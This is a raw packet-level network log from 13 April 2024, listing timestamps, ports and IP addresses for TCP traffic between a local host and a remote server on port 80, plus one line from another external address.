Apr 13, 2024 20:21:28.683099985 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.683119059 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.683137894 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.683157921 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.683197021 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.683212996 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.683233976 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.683271885 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.683289051 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.683317900 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.683325052 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.683356047 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.683393955 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.683408022 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.683429956 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.683465958 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.683485031 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.683504105 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.683520079 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.683542013 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.683578968 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.683609962 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.683617115 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.683653116 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.683672905 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.683691025 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.683711052 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.683727980 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.683764935 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.683788061 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.683801889 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.683837891 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.683856010 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.683876991 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.683896065 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.683914900 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.683953047 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.683969975 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.683991909 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.684006929 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.684027910 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.684055090 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.684065104 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.684073925 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.684101105 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.684112072 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.684139013 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.684139967 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.684175014 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.684189081 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.684214115 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.684231997 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.684271097 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.684298038 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.684314966 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.684331894 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.684351921 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.684390068 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.684411049 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.684429884 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:28.684468985 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.684485912 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:28.933801889 CEST	58709	49750	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:29.032016039 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.032044888 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.032063007 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.032082081 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.032098055 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.032114983 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.032131910 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.032147884 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.032164097 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.032181025 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.032198906 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.032215118 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.032244921 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.032247066 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.032248020 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.032248020 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.032248020 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.032248020 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.032263041 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.032279968 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.032299995 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.032316923 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.032334089 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.032350063 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.032351971 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.032350063 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.032350063 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.032350063 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.032351017 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.032371998 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.032391071 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.032391071 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.032392979 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.032391071 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.032411098 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.032414913 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.032429934 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.032433033 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.032449007 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.032449961 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.032466888 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.032474995 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.032485008 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.032502890 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.032520056 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.032536983 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.032537937 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.032536983 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.032536983 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.032556057 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.032566071 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.032572985 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.032584906 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.032591105 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.032599926 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.032608986 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.032618999 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.032627106 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.032636881 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.032661915 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.032661915 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.032661915 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.032701015 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.032736063 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.032773018 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.032779932 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.032809019 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.032845020 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.032880068 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.032881021 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.032898903 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.032917976 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.032938004 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.032955885 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.032963991 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.032994986 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.032996893 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.033034086 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.033051014 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.033071041 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.033082008 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.033107996 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.033135891 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.033135891 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.033144951 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.033155918 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.033183098 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.033193111 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.033216953 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.033221006 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.033233881 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.033257008 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.033273935 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.033294916 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.033318043 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.033334017 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.033361912 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.033371925 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.033380985 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.033409119 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.033426046 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.033446074 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.033464909 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.033483028 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.033494949 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.033520937 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.033540964 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.033560038 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.033579111 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.033598900 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.033617973 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.033639908 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.033654928 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.033679008 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.033694983 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.033715963 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.033729076 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.033752918 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.033766985 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.033791065 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.033807039 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.033828974 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.033847094 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.033865929 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.033902884 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.033909082 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.033909082 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.033940077 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.033948898 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.033977985 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.033989906 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.034022093 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.034060001 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.034099102 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.034106970 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.034106970 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.034106970 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.034135103 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.034140110 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.034173012 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.034179926 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.034209967 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.034229994 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.034246922 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.034271002 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.034284115 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.034305096 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.034321070 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.034327984 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.034359932 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.034372091 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.034396887 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.034410000 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.034432888 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.034449100 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.034470081 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.034487009 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.034507990 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.034519911 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.034548044 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.034562111 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.034588099 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.034600019 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.034626007 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.034642935 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.034665108 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.034679890 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.034702063 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.034723043 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.034740925 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.034759998 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.034780025 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.034797907 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.034816027 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.034826994 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.034853935 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.034871101 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.034890890 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.034912109 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.034928083 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.034934998 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.034966946 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.034981012 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.035005093 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.035017967 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.035042048 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.035052061 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.035079002 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.035094976 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.035118103 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.035126925 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.035156965 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.035173893 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.035195112 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.035209894 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.035232067 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.035264969 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.035269022 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.035288095 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.035307884 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.035319090 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.035346031 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.035360098 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.035383940 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.035398006 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.035423994 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.035434961 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.035459995 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.035475969 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.035497904 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.035511971 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.035535097 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.035551071 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.035572052 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.035583973 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.035609961 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.035621881 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.035646915 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.035662889 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.035686016 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.035700083 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.035727978 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.035743952 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.035765886 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.035783052 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.035804033 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.035825968 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.035840988 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.035847902 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.035877943 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.035891056 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.035916090 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.035933018 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.035954952 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.035972118 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.035995007 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.036010027 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.036031961 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.036046982 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.036070108 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.036082983 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.036107063 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.036118984 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.036144972 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.036158085 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.036181927 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.036190987 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.036237001 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.036250114 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.036274910 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.036288977 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.036312103 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.036326885 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.036349058 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.036360025 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.036386013 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.036412954 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.036423922 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.036437988 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.036463022 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.036465883 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.036499977 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.036519051 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.036537886 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.036554098 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.036576033 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.036598921 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.036613941 CEST	80	49752	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:29.036623955 CEST	49752	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:29.036652088 CEST	80	49752	193.233.132.167	192.168.2.4
